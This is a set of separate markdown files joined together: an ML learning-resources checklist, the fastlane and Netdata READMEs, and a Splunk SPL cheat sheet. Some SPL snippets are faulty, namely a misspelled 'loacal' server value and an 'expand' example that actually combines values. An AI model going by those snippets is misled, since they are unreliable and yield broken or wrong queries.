- [Machine Learning Hands-On for Developers and Technical Professionals review](https://blogs.msdn.microsoft.com/querysimon/2015/01/01/book-review-machine-learning-hands-on-for-developers-and-technical-professionals/)
- [GitHub repository](https://github.com/jasebell/mlbook)
- [ ] [Learning from Data](https://www.amazon.com/Learning-Data-Yaser-S-Abu-Mostafa/dp/1600490069)
- [Online tutorials](https://work.caltech.edu/telecourse.html)
- [ ] [Reinforcement Learning: An Introduction (2nd Edition)](https://webdocs.cs.ualberta.ca/~sutton/book/the-book-2nd.html)
- [GitHub repository](https://github.com/ShangtongZhang/reinforcement-learning-an-introduction)
- [ ] [Machine Learning with TensorFlow(MEAP)](https://www.manning.com/books/machine-learning-with-tensorflow)
- [GitHub repository](https://github.com/BinRoot/TensorFlow-Book)
- [ ] [How Machine Learning Works (MEAP)](https://www.manning.com/books/how-machine-learning-works)
- [GitHub repository](https://github.com/Mostafa-Samir/How-Machine-Learning-Works)
- [ ] [Succeeding with AI](https://www.manning.com/books/succeeding-with-ai)
## Kaggle knowledge competitions
- [ ] [Kaggle Competitions: How and where to begin?](https://www.analyticsvidhya.com/blog/2015/06/start-journey-kaggle/)
- [ ] [How a Beginner Used Small Projects To Get Started in Machine Learning and Compete on Kaggle](http://machinelearningmastery.com/how-a-beginner-used-small-projects-to-get-started-in-machine-learning-and-compete-on-kaggle)
- [ ] [Master Kaggle By Competing Consistently](http://machinelearningmastery.com/master-kaggle-by-competing-consistently/)
## Video Series
- [ ] [Machine Learning for Hackers](https://www.youtube.com/playlist?list=PL2-dafEMk2A4ut2pyv0fSIXqOzXtBGkLj)
- [ ] [Fresh Machine Learning](https://www.youtube.com/playlist?list=PL2-dafEMk2A6Kc7pV6gHH-apBFxwFjKeY)
- [ ] [Machine Learning Recipes with Josh Gordon](https://www.youtube.com/playlist?list=PLOU2XLYxmsIIuiBfYad6rFYQU_jL2ryal)
- [ ] [Everything You Need to know about Machine Learning in 30 Minutes or Less](https://vimeo.com/43547079)
- [ ] [A Friendly Introduction to Machine Learning](https://www.youtube.com/watch?v=IpGxLWOIZy4)
- [ ] [Nuts and Bolts of Applying Deep Learning - Andrew Ng](https://www.youtube.com/watch?v=F1ka6a13S9I)
- [ ] BigML Webinar
- [Video](https://www.youtube.com/watch?list=PL1bKyu9GtNYHcjGa6ulrvRVcm1lAB8he3&v=W62ehrnOVqo)
- [Resources](https://bigml.com/releases)
- [ ] [mathematicalmonk's Machine Learning tutorials](https://www.youtube.com/playlist?list=PLD0F06AA0D2E8FFBA)
- [ ] [Machine learning in Python with scikit-learn](https://www.youtube.com/playlist?list=PL5-da3qGB5ICeMbQuqbbCOQWcS6OYBr5A)
- [GitHub repository](https://github.com/justmarkham/scikit-learn-videos)
- [Blog](http://blog.kaggle.com/author/kevin-markham/)
- [ ] [My playlist – Top YouTube Videos on Machine Learning, Neural Network & Deep Learning](https://www.analyticsvidhya.com/blog/2015/07/top-youtube-videos-machine-learning-neural-network-deep-learning/)
- [ ] [16 New Must Watch Tutorials, Courses on Machine Learning](https://www.analyticsvidhya.com/blog/2016/10/16-new-must-watch-tutorials-courses-on-machine-learning/)
- [ ] [DeepLearning.TV](https://www.youtube.com/channel/UC9OeZkIwhzfv-_Cb7fCikLQ)
- [ ] [Learning To See](https://www.youtube.com/playlist?list=PLiaHhY2iBX9ihLasvE8BKnS2Xg8AhY6iV)
- [ ] [Neural networks class - Université de Sherbrooke](https://www.youtube.com/playlist?list=PL6Xpj9I5qXYEcOhn7TqghAJ6NAPrNmUBH)
- [ ] [21 Deep Learning Videos, Tutorials & Courses on Youtube from 2016](https://www.analyticsvidhya.com/blog/2016/12/21-deep-learning-videos-tutorials-courses-on-youtube-from-2016/)
- [ ] [30 Top Videos, Tutorials & Courses on Machine Learning & Artificial Intelligence from 2016](https://www.analyticsvidhya.com/blog/2016/12/30-top-videos-tutorials-courses-on-machine-learning-artificial-intelligence-from-2016/)
- [ ] [Practical Deep Learning For Coders](http://course.fast.ai/index.html)
- [ ] [Practical Deep Learning For Coders Version 2 (PyTorch)](http://forums.fast.ai/t/welcome-to-part-1-v2/5787)
## MOOC
- [ ] [Coursera’s AI For Everyone](https://www.coursera.org/learn/ai-for-everyone)
- [ ] [edX's Introduction to Artificial Intelligence (AI)](https://www.edx.org/course/introduction-artificial-intelligence-ai-microsoft-dat263x)
- [ ] [Udacity’s Intro to Machine Learning](https://www.udacity.com/course/intro-to-machine-learning--ud120)
- [Udacity Intro to Machine Learning Review](http://hamelg.blogspot.com/2014/12/udacity-intro-to-machine-learning-review.html)
- [ ] [Udacity’s Supervised, Unsupervised & Reinforcement](https://www.udacity.com/course/machine-learning--ud262)
- [ ] [Machine Learning Foundations: A Case Study Approach](https://www.coursera.org/learn/ml-foundations)
- [ ] [Machine Learning & AI Foundations: Value Estimations](https://www.lynda.com/Data-Science-tutorials/Machine-Learning-Essential-Training-Value-Estimations/548594-2.html)
- [ ] [Kaggle's Hands-On Data Science Education](https://www.kaggle.com/learn/overview)
- [ ] [Microsoft Professional Program for Artificial Intelligence](https://academy.microsoft.com/en-us/professional-program/tracks/artificial-intelligence/)
- [ ] [Coursera’s Machine Learning](https://www.coursera.org/learn/machine-learning)
- [Video only](https://www.youtube.com/playlist?list=PLZ9qNFMHZ-A4rycgrgOYma6zxF4BZGGPW)
- [Coursera Machine Learning review](https://rayli.net/blog/data/coursera-machine-learning-review/)
- [Coursera: Machine Learning Roadmap](https://metacademy.org/roadmaps/cjrd/coursera_ml_supplement)
- [ ] [Machine Learning Distilled](https://code.tutsplus.com/courses/machine-learning-distilled)
- [ ] [BigML training](https://bigml.com/training)
- [ ] [Coursera’s Neural Networks for Machine Learning](https://www.coursera.org/learn/neural-networks)
- Taught by Geoffrey Hinton, a pioneer in the field of neural networks
- [ ] [Machine Learning - CS - Oxford University](https://www.cs.ox.ac.uk/people/nando.defreitas/machinelearning/)
- [ ] [Creative Applications of Deep Learning with TensorFlow](https://www.kadenze.com/courses/creative-applications-of-deep-learning-with-tensorflow/info)
- [ ] [Intro to Descriptive Statistics](https://www.udacity.com/course/intro-to-descriptive-statistics--ud827)
- [ ] [Intro to Inferential Statistics](https://www.udacity.com/course/intro-to-inferential-statistics--ud201)
- [ ] [6.S094: Deep Learning for Self-Driving Cars](http://selfdrivingcars.mit.edu/)
- [ ] [6.S191: Introduction to Deep Learning](http://introtodeeplearning.com/index.html)
- [ ] [Coursera’s Deep Learning](https://www.coursera.org/specializations/deep-learning)
## Resources
- [ ] [Absolute Beginning into Machine Learning](https://hackernoon.com/absolute-beginning-into-machine-learning-e90ceda5a4bc)
- [ ] [Learn Machine Learning in a Single Month](https://elitedatascience.com/machine-learning-masterclass)
- [ ] [The Non-Technical Guide to Machine Learning & Artificial Intelligence](https://medium.com/@samdebrule/a-humans-guide-to-machine-learning-e179f43b67a0#.cpzf3a5c0)
- [ ] [Programming Community Curated Resources for learning Machine Learning](https://hackr.io/tutorials/learn-machine-learning-ml)
- [ ] [Best practices rule book for Machine Learning engineering from Google](http://martin.zinkevich.org/rules_of_ml/rules_of_ml.pdf)
- [ ] [Machine Learning for Software Engineers on Hacker News](https://news.ycombinator.com/item?id=12898718)
- [ ] [Machine Learning for Developers](https://xyclade.github.io/MachineLearning/)
- [ ] [Machine Learning for Humans🤖👶](https://medium.com/machine-learning-for-humans/why-machine-learning-matters-6164faf1df12)
- [ ] [Machine Learning Advice for Developers](https://dev.to/thealexlavin/machine-learning-advice-for-developers)
- [ ] [Machine Learning For Complete Beginners](http://pythonforengineers.com/machine-learning-for-complete-beginners/)
- [ ] [Getting Started with Machine Learning: For absolute beginners and fifth graders](https://medium.com/@suffiyanz/getting-started-with-machine-learning-f15df1c283ea#.yjtiy7ei9)
- [ ] [How to Learn Machine Learning: The Self-Starter Way](https://elitedatascience.com/learn-machine-learning)
- [ ] [Machine Learning Self-study Resources](https://ragle.sanukcode.net/articles/machine-learning-self-study-resources/)
- [ ] [Level-Up Your Machine Learning](https://metacademy.org/roadmaps/cjrd/level-up-your-ml)
- [ ] [An Honest Guide to Machine Learning](https://medium.com/axiomzenteam/an-honest-guide-to-machine-learning-2f6d7a6df60e#.ib12a1yw5)
- [ ] Enough Machine Learning to Make Hacker News Readable Again
- [Video](https://www.youtube.com/watch?v=O7IezJT9uSI)
- [Slide](https://speakerdeck.com/pycon2014/enough-machine-learning-to-make-hacker-news-readable-again-by-ned-jackson-lovely)
- [ ] [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning)
- [ ] [{Machine, Deep} Learning for software engineers](https://speakerdeck.com/pmigdal/machine-deep-learning-for-software-engineers)
- [ ] [Deep Learning For Beginners](https://deeplearning4j.org/deeplearningforbeginners.html)
- [ ] [Foundations for deep learning](https://github.com/pauli-space/foundations_for_deep_learning)
- [ ] [Machine Learning Mindmap / Cheatsheet](https://github.com/dformoso/machine-learning-mindmap)
- Machine Learning courses in Universities
- [ ] [Stanford](http://ai.stanford.edu/courses/)
- [ ] [Machine Learning Summer Schools](http://mlss.cc/)
- [ ] [Oxford](https://www.cs.ox.ac.uk/people/nando.defreitas/machinelearning/)
- [ ] [Cambridge](http://mlg.eng.cam.ac.uk/)
- Flipboard Topics
- [Machine learning](https://flipboard.com/topic/machinelearning)
- [Deep learning](https://flipboard.com/topic/deeplearning)
- [Artificial Intelligence](https://flipboard.com/topic/artificialintelligence)
- Medium Topics
- [Machine learning](https://medium.com/tag/machine-learning/latest)
- [Deep learning](https://medium.com/tag/deep-learning)
- [Artificial Intelligence](https://medium.com/tag/artificial-intelligence)
- Monthly top 10 articles
- [Machine Learning](https://medium.mybridge.co/search?q=%22Machine%20Learning%22)
- [Algorithms](https://medium.mybridge.co/search?q=Algorithms)
- [Comprehensive list of data science resources](http://www.datasciencecentral.com/group/resources/forum/topics/comprehensive-list-of-data-science-resources)
- [DigitalMind's Artificial Intelligence resources](http://blog.digitalmind.io/post/artificial-intelligence-resources)
- [Awesome Machine Learning](https://github.com/josephmisiti/awesome-machine-learning)
- [Awesome Graph Classification](https://github.com/benedekrozemberczki/awesome-graph-classification)
- [Awesome Community Detection](https://github.com/benedekrozemberczki/awesome-community-detection)
- [CreativeAi's Machine Learning](http://www.creativeai.net/?cat%5B0%5D=machine-learning)
- [Machine Learning Online Courses](https://classpert.com/machine-learning)
## Games
- [Halite: A.I. Coding Game](https://halite.io/)
- [Vindinium: A.I. Programming Challenge](http://vindinium.org/)
- [General Video Game AI Competition](http://www.gvgai.net/)
- [Angry Birds AI Competition](https://aibirds.org/)
- [The AI Games](http://theaigames.com/)
- [Fighting Game AI Competition](http://www.ice.ci.ritsumei.ac.jp/~ftgaic/)
- [CodeCup](http://www.codecup.nl/intro.php)
- [Student StarCraft AI Tournament](http://sscaitournament.com/)
- [AIIDE StarCraft AI Competition](http://www.cs.mun.ca/~dchurchill/starcraftaicomp/)
- [CIG StarCraft AI Competition](https://sites.google.com/site/starcraftaic/)
- [CodinGame - AI Bot Games](https://www.codingame.com/training/machine-learning)
## Becoming an Open Source Contributor
- [ ] [tensorflow/magenta: Magenta: Music and Art Generation with Machine Intelligence](https://github.com/tensorflow/magenta)
- [ ] [tensorflow/tensorflow: Computation using data flow graphs for scalable machine learning](https://github.com/tensorflow/tensorflow)
- [ ] [cmusatyalab/openface: Face recognition with deep neural networks.](https://github.com/cmusatyalab/openface)
- [ ] [tensorflow/models/syntaxnet: Neural Models of Syntax.](https://github.com/tensorflow/models/tree/master/syntaxnet)
## Podcasts
- ### Podcasts for Beginners:
- [Talking Machines](http://www.thetalkingmachines.com/)
- [Linear Digressions](http://lineardigressions.com/)
- [Data Skeptic](http://dataskeptic.com/)
- [This Week in Machine Learning & AI](https://twimlai.com/)
- [Machine Learning Guide](http://ocdevel.com/podcasts/machine-learning)
- ### Interviews with ML Practitioners, Researchers and Kagglers about their Joureny
- [Chai Time Data Science](https://www.youtube.com/playlist?list=PLLvvXm0q8zUbiNdoIazGzlENMXvZ9bd3x), [Audio](http://anchor.fm/chaitimedatascience), [Writeups](https://sanyambhutani.com/tag/chaitimedatascience/)
- [Machine Learning for Beginners - Interviews](https://www.youtube.com/channel/UCdZ0GX-F3ULMKfxtyzSFbaw), [Audio](https://jayshah.buzzsprout.com/)
- ### "More" advanced podcasts
- [Partially Derivative](http://partiallyderivative.com/)
- [O’Reilly Data Show](http://radar.oreilly.com/tag/oreilly-data-show-podcast)
- [Not So Standard Deviation](https://soundcloud.com/nssd-podcast)
- ### Podcasts to think outside the box:
- [Data Stories](http://datastori.es/)
## Communities
- Quora
- [Machine Learning](https://www.quora.com/topic/Machine-Learning)
- [Statistics](https://www.quora.com/topic/Statistics-academic-discipline)
- [Data Mining](https://www.quora.com/topic/Data-Mining)
- Reddit
- [Machine Learning](https://www.reddit.com/r/machinelearning)
- [Computer Vision](https://www.reddit.com/r/computervision)
- [Natural Language](https://www.reddit.com/r/languagetechnology)
- [Data Science](https://www.reddit.com/r/datascience)
- [Big Data](https://www.reddit.com/r/bigdata)
- [Statistics](https://www.reddit.com/r/statistics)
- [Data Tau](http://www.datatau.com/)
- [Deep Learning News](http://news.startup.ml/)
- [KDnuggets](http://www.kdnuggets.com/)
## Conferences
- Neural Information Processing Systems ([NIPS](https://nips.cc/))
- International Conference on Learning Representations ([ICLR](http://www.iclr.cc/doku.php?id=ICLR2017:main&redirect=1))
- Association for the Advancement of Artificial Intelligence ([AAAI](http://www.aaai.org/Conferences/AAAI/aaai17.php))
- IEEE Conference on Computational Intelligence and Games ([CIG](http://www.ieee-cig.org/))
- IEEE International Conference on Machine Learning and Applications ([ICMLA](http://www.icmla-conference.org/))
- International Conference on Machine Learning ([ICML](https://2017.icml.cc/))
- International Joint Conferences on Artificial Intelligence ([IJCAI](http://www.ijcai.org/))
- Association for Computational Linguistics ([ACL](http://acl2017.org/))
## Interview Questions
- [ ] [How To Prepare For A Machine Learning Interview](http://blog.udacity.com/2016/05/prepare-machine-learning-interview.html)
- [ ] [40 Interview Questions asked at Startups in Machine Learning / Data Science](https://www.analyticsvidhya.com/blog/2016/09/40-interview-questions-asked-at-startups-in-machine-learning-data-science)
- [ ] [21 Must-Know Data Science Interview Questions and Answers](http://www.kdnuggets.com/2016/02/21-data-science-interview-questions-answers.html)
- [ ] [Top 50 Machine learning Interview questions & Answers](http://career.guru99.com/top-50-interview-questions-on-machine-learning/)
- [ ] [Machine Learning Engineer interview questions](https://resources.workable.com/machine-learning-engineer-interview-questions)
- [ ] [Popular Machine Learning Interview Questions](http://www.learn4master.com/machine-learning/popular-machine-learning-interview-questions)
- [ ] [What are some common Machine Learning interview questions?](https://www.quora.com/What-are-some-common-Machine-Learning-interview-questions)
- [ ] [What are the best interview questions to evaluate a machine learning researcher?](https://www.quora.com/What-are-the-best-interview-questions-to-evaluate-a-machine-learning-researcher)
- [ ] [Collection of Machine Learning Interview Questions](http://analyticscosm.com/machine-learning-interview-questions-for-data-scientist-interview/)
- [ ] [121 Essential Machine Learning Questions & Answers](https://elitedatascience.com/mlqa-reading-list)
- [ ] [Minimum Viable Study Plan for Machine Learning Interviews](https://github.com/khangich/machine-learning-interview)
## My admired companies
- [ ] [ELSA - Your virtual pronunciation coach](https://www.elsanow.io/home)
|
<h3 align="center">
<a href="https://github.com/fastlane/fastlane/blob/master/fastlane/assets/fastlane_text.png">
<img src="https://github.com/fastlane/fastlane/blob/master/fastlane/assets/fastlane_text.png?raw=true" alt="fastlane Logo" width="500">
</a>
</h3>
[](https://twitter.com/FastlaneTools)
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[](https://rubygems.org/gems/fastlane)
[](https://formulae.brew.sh/formula/fastlane)
[](https://circleci.com/gh/fastlane/fastlane)
[](https://github.com/fastlane/fastlane/blob/master/CONTRIBUTING.md)
_fastlane_ is a tool for iOS and Android developers to automate tedious tasks like generating screenshots, dealing with provisioning profiles, and releasing your application.
<hr />
<h2 align="center">
✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
</h2>
<hr />
## Need Help?
Before submitting a new GitHub issue, please make sure to
- Check out [docs.fastlane.tools](https://docs.fastlane.tools)
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If the above doesn't help, please [submit an issue](https://github.com/fastlane/fastlane/issues) on GitHub and provide information about your setup, in particular the output of the `fastlane env` command.
**Note**: If you want to report a regression in _fastlane_ (something that has worked before, but broke with a new release), please mark your issue title as such using `[Regression] Your title here`. This enables us to quickly detect and fix regressions.
## _fastlane_ team
<!-- This table is regenerated and resorted on each release -->
<table id='team'>
<tr>
<td id='jorge-revuelta-h'>
<a href='https://github.com/minuscorp'>
<img src='https://github.com/minuscorp.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/minuscorp'>Jorge Revuelta H</a></h4>
</td>
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</a>
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</td>
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<a href='https://github.com/janpio'>
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</a>
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</a>
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</td>
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<a href='https://github.com/KrauseFx'>
<img src='https://github.com/KrauseFx.png' width='140px;'>
</a>
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</td>
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<a href='https://github.com/lacostej'>
<img src='https://github.com/lacostej.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/lacostej'>Jérôme Lacoste</a></h4>
</td>
</tr>
<tr>
<td id='jimmy-dee'>
<a href='https://github.com/jdee'>
<img src='https://github.com/jdee.png' width='140px;'>
</a>
<h4 align='center'>Jimmy Dee</h4>
</td>
<td id='joshua-liebowitz'>
<a href='https://github.com/taquitos'>
<img src='https://github.com/taquitos.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/taquitos'>Joshua Liebowitz</a></h4>
</td>
<td id='max-ott'>
<a href='https://github.com/max-ott'>
<img src='https://github.com/max-ott.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/ott_max'>Max Ott</a></h4>
</td>
<td id='andrew-mcburney'>
<a href='https://github.com/armcburney'>
<img src='https://github.com/armcburney.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/armcburney'>Andrew McBurney</a></h4>
</td>
<td id='satoshi-namai'>
<a href='https://github.com/ainame'>
<img src='https://github.com/ainame.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/ainame'>Satoshi Namai</a></h4>
</td>
</tr>
<tr>
<td id='maksym-grebenets'>
<a href='https://github.com/mgrebenets'>
<img src='https://github.com/mgrebenets.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/mgrebenets'>Maksym Grebenets</a></h4>
</td>
<td id='aaron-brager'>
<a href='https://github.com/getaaron'>
<img src='https://github.com/getaaron.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/getaaron'>Aaron Brager</a></h4>
</td>
<td id='daniel-jankowski'>
<a href='https://github.com/mollyIV'>
<img src='https://github.com/mollyIV.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/mollyIV'>Daniel Jankowski</a></h4>
</td>
<td id='luka-mirosevic'>
<a href='https://github.com/lmirosevic'>
<img src='https://github.com/lmirosevic.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/lmirosevic'>Luka Mirosevic</a></h4>
</td>
<td id='fumiya-nakamura'>
<a href='https://github.com/nafu'>
<img src='https://github.com/nafu.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/nafu003'>Fumiya Nakamura</a></h4>
</td>
</tr>
<tr>
<td id='kohki-miki'>
<a href='https://github.com/giginet'>
<img src='https://github.com/giginet.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/giginet'>Kohki Miki</a></h4>
</td>
<td id='stefan-natchev'>
<a href='https://github.com/snatchev'>
<img src='https://github.com/snatchev.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/snatchev'>Stefan Natchev</a></h4>
</td>
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<a href='https://github.com/matthewellis'>
<img src='https://github.com/matthewellis.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/mellis1995'>Matthew Ellis</a></h4>
</td>
<td id='manu-wallner'>
<a href='https://github.com/milch'>
<img src='https://github.com/milch.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/acrooow'>Manu Wallner</a></h4>
</td>
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<a href='https://github.com/AliSoftware'>
<img src='https://github.com/AliSoftware.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/aligatr'>Olivier Halligon</a></h4>
</td>
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<tr>
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<a href='https://github.com/lucgrabowski'>
<img src='https://github.com/lucgrabowski.png' width='140px;'>
</a>
<h4 align='center'>Łukasz Grabowski</h4>
</td>
</table>
Special thanks to all [contributors](https://github.com/fastlane/fastlane/graphs/contributors) for extending and improving _fastlane_.
## Contribute to _fastlane_
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## Code of Conduct
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## Metrics
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* The number of _fastlane_ runs
* A salted hash of the app identifier or package name, which helps us anonymously identify unique usage of _fastlane_
You can easily opt-out of metrics collection by adding `opt_out_usage` at the top of your `Fastfile` or by setting the environment variable `FASTLANE_OPT_OUT_USAGE`. [Check out the metrics code on GitHub](https://github.com/fastlane/fastlane/tree/master/fastlane_core/lib/fastlane_core/analytics)
## License
This project is licensed under the terms of the MIT license. See the [LICENSE](LICENSE) file.
> This project and all fastlane tools are in no way affiliated with Apple Inc. This project is open source under the MIT license, which means you have full access to the source code and can modify it to fit your own needs. All fastlane tools run on your own computer or server, so your credentials or other sensitive information will never leave your own computer. You are responsible for how you use fastlane tools.
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<h2 align="center">
✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
</h2>
<hr />
|
---
layout: page
title: "Splunk Cheatsheet"
permalink: /spl
---
## Splunk Quick Cheat Sheet
**DNS Lookup**
```
| lookup dnslookup clientip as dest_ip OUTPUT clienthost as dest_host
```
**DNS Independent IP Resolution**
```
| inputlookup tHostInfo
| search src_ip=$IPADDRESS$ OR src_host=$HOSTNAME$
```
**Event Frequency**
```
| stats count by signature
`comment("define varriables")`
| eval days = 10
| eval events_perShift = round(count / ((days * 24)/4),3)
| eval events_perDay = round(count / days,2)
| eval events_perWeek = round(count / (days / 7),2)
| sort - count
| fields - count days
| table signature events_perShift events_perDay events_perWeek
| addcoltotals labelfield=signature label=Total
```
**Get the earliest and latest time for an observed field value**
```
| stats earliest(_time) as firstTime latest(_time) as lastTime by dest
| eval firstTime=strftime(firstTime,"%Y-%m-%d %H:%M:%S")
| eval lastTime=strftime(lastTime,"%Y-%m-%d %H:%M:%S")
```
**List All Available Indexes with Events**
```
| eventcount summarize=false index=*
| search count!=0
| dedup index
| fields - server
```
**List All Available Non-Internal Indexes with Events**
```
| eventcount summarize=false index=*
| search count!=0 NOT index IN (audit_summary, cim_modactions, endpoint_summary, lastchanceindex, notable, notable_summary, risk, summary, tc_app_logs, threat_activity)
| dedup index
| fields - server
```
**List All Available Sourcetypes in an Index**
```
| metadata type=sourcetypes index=foo
| eval firstTime=strftime(firstTime,"%Y-%m-%d %H:%M:%S")
| eval lastTime=strftime(lastTime,"%Y-%m-%d %H:%M:%S")
| eval recentTime=strftime(recentTime,"%Y-%m-%d %H:%M:%S")
```
**Better FieldSummary with Event Coverage**
```
index=pa_log sourcetype="pan:traffic" | fieldsummary
| eventstats max(count) as total
| eval event_coverage = round(((count / total)*100),2)."%"
```
**Lower case all fields**
```
| foreach "*" [eval <<FIELD>>=lower('<<FIELD>>') ]
```
**Make time human readable**
```
eval mytime=strftime(_time,"%Y-%m-%d %H:%M:%S")
```
**Remove Domain from Device**
```
|rex field=dest "^(?<dest>.*?)[\.|$]"
```
**Normalize User Field from WinEventlog
```
| eval user=lower(if(match(user,".*\\\\.*"), replace(user,".*\\\\",""), user)),
```
**Get current user context**
```
| rest /services/authentication/current-context splunk_server=loacal
```
**Group By Octet** <br>
***2 Octets***
```
| rex field=src_ip "(?<subnet>\d+\.\d+)+\.\d+\.\d+"
| stats count by subnet
```
***3 Octets***
```
| rex field=ip "(?<subnet>\d+\.\d+\.\d+)\.\d+"
| stats count by subnet
```
**Use of now**
```
| eval yesterday=relative_time(now(), "-1d@d")
```
**Turn a field into csv format**
```
| fields mv_foo
| mvcombine mv_foo delim=","
| nomv mv_foo
```
**Turn a field into csv format 2**
```
| fields mv_foo
| eval mf_foo_csv = mvjoin(mv_foo,", ")
```
**Expand multivalued field**
```
| fields foo
| mvcombine foo delim=","
| nomv foo
```
**Sankey Multistaged** <br>
***2 staged***
```
| table src_ip dest_port dest_ip
| appendpipe [stats count by src_ip dest_port | rename src_ip as source, dest_port as target]
| appendpipe [stats count by dest_port dest_ip | rename dest_port as source, dest_ip as target]
| search source=*
| fields source target count
```
***3 staged***
```
| table src_ip signature category dest_ip
| appendpipe [stats count by src_ip signature | rename src_ip as source, signature as target]
| appendpipe [stats count by signature category | rename signature as source, category as target]
| appendpipe [stats count by category dest_ip | rename category as source, dest_ip as target]
| search source=*
| fields source target count
```
**Search time in a lookup** <br>
Incident Review is used as an example
```
| inputlookup incident_review_lookup
| addinfo
| eval yesterday=relative_time(now(), "-1d@d")
| where (time >= yesterday AND time <= info_max_time)
```
**Find hosts that haven not checked in in a specified amount of time**
```
| stats latest(_time) as lastTime earliest(_time) as firstTime by hostnames
`comment("change the "-30d" to choose a date that we haven't seen assets check in by")`
| eval recent = if(lastTime > relative_time(now(),"-30d"),1,0), realLatest = strftime(latest,"%c")
| eval firstTime=strftime(firstTime,"%Y-%m-%d %H:%M:%S")
| eval lastTime=strftime(lastTime,"%Y-%m-%d %H:%M:%S")
| where recent=0
```
**Join**
```
search | join type=inner
| join type=left max=0
| join type=inner overwrite=false genre_id
[| {search} | rename id as genre_id ]
```
**CPE Extraction**
```
.... spl filtering
| dedup agent_names
| fields installed_software{} agent_names sourcetype
| rename installed_software{} as installed_software
| mvexpand installed_software
| eval installed_software1 = split(installed_software,":")
| eval vendor = mvindex(installed_software1,2)
| eval product = mvindex(installed_software1,3)
| eval version = mvindex(installed_software1,4)
| eval service_pack = mvindex(installed_software1,5)
| rename installed_software as cpe
| table agent_names product vendor version service_pack cpe
```
|
<p align="center">
<a href="https://www.netdata.cloud#gh-light-mode-only">
<img src="https://github.com/netdata/netdata/assets/2662304/a62997fb-d75d-42df-b188-b804cd034a70#gh-light-mode-only" alt="Netdata" width="300"/>
</a>
<a href="https://www.netdata.cloud#gh-dark-mode-only">
<img src="https://github.com/netdata/netdata/assets/2662304/95ea1560-5e83-44d3-ad33-7980f8298b65#gh-dark-mode-only" alt="Netdata" width="300"/>
</a>
</p>
<h3 align="center">Monitor your servers, containers, and applications,<br/>in high-resolution and in real-time.</h3>
<br />
<p align="center">
<a href="https://github.com/netdata/netdata/"><img src="https://img.shields.io/github/stars/netdata/netdata?style=social" alt="GitHub Stars"></a>
<br />
<a href="https://app.netdata.cloud/spaces/netdata-demo?utm_campaign=github_readme_demo_badge"><img src="https://img.shields.io/badge/Live Demo-green" alt="Live Demo"></a>
<a href="https://github.com/netdata/netdata/releases/latest"><img src="https://img.shields.io/github/release/netdata/netdata.svg" alt="Latest release"></a>
<a href="https://github.com/netdata/netdata-nightlies/releases/latest"><img src="https://img.shields.io/github/release/netdata/netdata-nightlies.svg" alt="Latest nightly build"></a>
<br />
<a href="https://bestpractices.coreinfrastructure.org/projects/2231"><img src="https://bestpractices.coreinfrastructure.org/projects/2231/badge" alt="CII Best Practices"></a>
<a href="https://scan.coverity.com/projects/netdata-netdata?tab=overview"><img alt="Coverity Scan" src="https://img.shields.io/coverity/scan/netdata"></a>
<a href="https://codeclimate.com/github/netdata/netdata"><img src="https://codeclimate.com/github/netdata/netdata/badges/gpa.svg" alt="Code Climate"></a>
<a href="https://www.gnu.org/licenses/gpl-3.0"><img src="https://img.shields.io/badge/License-GPL%20v3%2B-blue.svg" alt="License: GPL v3+"></a>
<br />
<a href="https://discord.com/invite/mPZ6WZKKG2"><img alt="Discord" src="https://img.shields.io/discord/847502280503590932?logo=discord&logoColor=white&label=chat%20on%20discord"></a>
<a href="https://community.netdata.cloud"><img alt="Discourse topics" src="https://img.shields.io/discourse/topics?server=https%3A%2F%2Fcommunity.netdata.cloud%2F&logo=discourse&label=discourse%20forum"></a>
<a href="https://github.com/netdata/netdata/discussions"><img alt="GitHub Discussions" src="https://img.shields.io/github/discussions/netdata/netdata?logo=github&label=github%20discussions"></a>
</p>
<p align="center"><b>Visit the <a href="https://www.netdata.cloud">Project's Home Page</a></b></p>
<hr class="solid">
MENU: **[WHAT IS NEW](#whats-new-and-coming)** | **[GETTING STARTED](#getting-started)** | **[HOW IT WORKS](#how-it-works)** | **[FAQ](#faq)** | **[DOCS](#book-documentation)** | **[COMMUNITY](#tada-community)** | **[CONTRIBUTE](#pray-contribute)**
Netdata collects metrics per second and presents them in beautiful low-latency dashboards. It is designed to run on all of your physical and virtual servers, cloud deployments, Kubernetes clusters, and edge/IoT devices, to monitor your systems, containers, and applications.
It scales nicely from just a single server to thousands of servers, even in complex multi/mixed/hybrid cloud environments, and given enough disk space it can keep your metrics for years.
**KEY FEATURES**:<br/>
- :boom: **Collects metrics from 800+ integrations**<br/>
Operating system metrics, container metrics, virtual machines, hardware sensors, applications metrics, OpenMetrics exporters, StatsD, and logs.
- :muscle: **Real-Time, Low-Latency, High-Resolution**<br/>
All metrics are collected per second and are on the dashboard immediately after data collection. Netdata is designed to be fast.
- :face_in_clouds: **Unsupervised Anomaly Detection**<br/>
Trains multiple Machine-Learning (ML) models for each metric collected and detects anomalies based on the past behavior of each metric individually.
- :fire: **Powerful Visualization**<br/>
Clear and precise visualization that allows you to quickly understand any dataset, but also to filter, slice and dice the data directly on the dashboard, without the need to learn any query language.
- :bell: **Out of box Alerts**<br/>
Comes with hundreds of alerts out of the box to detect common issues and pitfalls, revealing issues that can easily go unnoticed. It supports several notification methods to let you know when your attention is needed.
- :sunglasses: **Low Maintenance**<br/>
Fully automated in every aspect: automated dashboards, out-of-the-box alerts, auto-detection and auto-discovery of metrics, zero-touch machine-learning, easy scalability and high availability, and CI/CD friendly.
- :star: **Open and Extensible**<br/>
